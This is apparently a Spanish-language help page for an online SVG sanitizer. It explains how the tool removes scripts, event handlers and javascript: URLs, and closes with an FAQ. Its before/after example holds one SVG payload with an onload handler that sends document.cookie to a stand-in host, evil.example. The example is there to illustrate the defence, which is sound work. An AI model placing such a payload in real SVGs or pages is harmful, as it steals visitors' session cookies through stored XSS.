SVG Purifier

¿Qué es SVG Purifier?

SVG es un formato común para íconos e ilustraciones en la web, pero a diferencia de un archivo de imagen común, puede contener código ejecutable oculto — scripts y manejadores de eventos que se ejecutan cuando alguien lo abre o lo incrusta. SVG Purifier limpia un archivo SVG eliminando ese código oculto y los metadatos innecesarios del editor, para que el archivo se vea visualmente igual pero sea seguro de usar y ocupe menos espacio.

Cómo usar SVG Purifier

1. Pegá tu markup SVG en el panel SVG original, o hacé clic en Ejemplo para probar uno de muestra.
2. Elegí un nivel de Precisión decimal para controlar cuánto se redondean las coordenadas, y activá "Mantener <title>" si querés conservar el elemento de título accesible.
3. Comparé las vistas previas antes/después debajo para confirmar que el SVG limpio se ve bien.
4. Copiá el resultado desde el panel SVG limpio, o hacé clic en Descargar para guardarlo como archivo.

Cómo funciona la sanitización de SVG

SVG es un formato XML, y —a diferencia de una imagen raster como PNG o JPEG— la especificación le permite llevar un elemento <script> real y atributos de evento on* (onload, onclick...), igual que HTML. Según la especificación W3C SVG 2, esos scripts se ejecutan cuando el SVG se abre directamente en una pestaña del navegador, se embebe en línea en el markup de una página, o se carga en ciertos contextos que no son <img>. Un ícono SVG subido por un usuario o descargado es entonces un vector real de XSS almacenado hasta que se sanitiza — esta herramienta elimina exactamente ese riesgo, sin condiciones:

<!-- Antes -->
<svg onload="fetch('https://evil.example/steal?c='+document.cookie)">
  <script>/* más código malicioso */</script>
  <metadata>Basura de Adobe Illustrator</metadata>
  <circle cx="50.123456" cy="50.987654" r="40" onclick="alert(1)"/>
</svg>

<!-- Después (precisión 2) -->
<svg>
  <circle cx="50.12" cy="50.99" r="40"/>
</svg>

Cada nombre de atributo se revisa sin distinguir mayúsculas buscando un prefijo on, cada elemento <script>, <foreignObject>, <iframe>, <object> y <embed> se elimina por completo, y las URLs javascript: se eliminan de cualquier atributo que las lleve, no solo de href/xlink:href — nada de eso es opcional. Todo lo demás (metadatos de editor, comentarios, espacios en blanco, precisión de coordenadas) es limpieza cosmética opcional además de eso. Las vistas previas antes/después nunca renderizan el markup pegado como DOM vivo; ambas pasan por una <img src="data:image/svg+xml;base64,...">, un contexto donde los navegadores nunca ejecutan scripts embebidos, así que la vista previa es segura incluso para markup que todavía no fue limpiado.

Preguntas frecuentes

¿Por qué un archivo SVG es un riesgo de seguridad?

SVG es XML, y la especificación permite un elemento <script> y atributos de evento on* dentro de él, igual que HTML. Si ese SVG se abre directamente en una pestaña del navegador, se embebe en línea en una página, o se referencia en ciertos contextos que no son <img>, esos scripts pueden ejecutarse — convirtiendo una función de subida de imágenes en un vector de XSS almacenado. Los archivos de una fuente no confiable (una subida de usuario, un pack de íconos descargado) siempre deberían sanitizarse primero.

¿Se puede desactivar la eliminación de <script>, atributos de evento y otros elementos riesgosos?

No. Esta herramienta siempre elimina los elementos <script>, los atributos de evento on*, las URLs javascript: en cualquier atributo, y los elementos <foreignObject>, <iframe>, <object> y <embed>, sin ninguna opción para desactivarlo, porque son las partes realmente relevantes para la seguridad de esta herramienta. Todo lo demás (metadatos, comentarios, precisión de coordenadas) es limpieza cosmética.

¿La vista previa en vivo ejecuta el SVG pegado?

No, por diseño. Tanto la vista previa "original" como la "limpia" se renderizan como una <img> usando una URI data:, nunca se inyectan en la página como markup vivo. Los navegadores nunca ejecutan scripts ni manejadores de eventos dentro de un SVG usado como origen de una imagen — así que la vista previa es segura incluso antes de que corra la sanitización.

¿Esto va a romper la apariencia de mi ícono?

No debería. El redondeo de coordenadas solo recorta precisión decimal (2 lugares por defecto), lo cual es visualmente indistinguible a cualquier tamaño normal de pantalla. Si necesitás coordenadas exactas al byte, subí la precisión en los controles.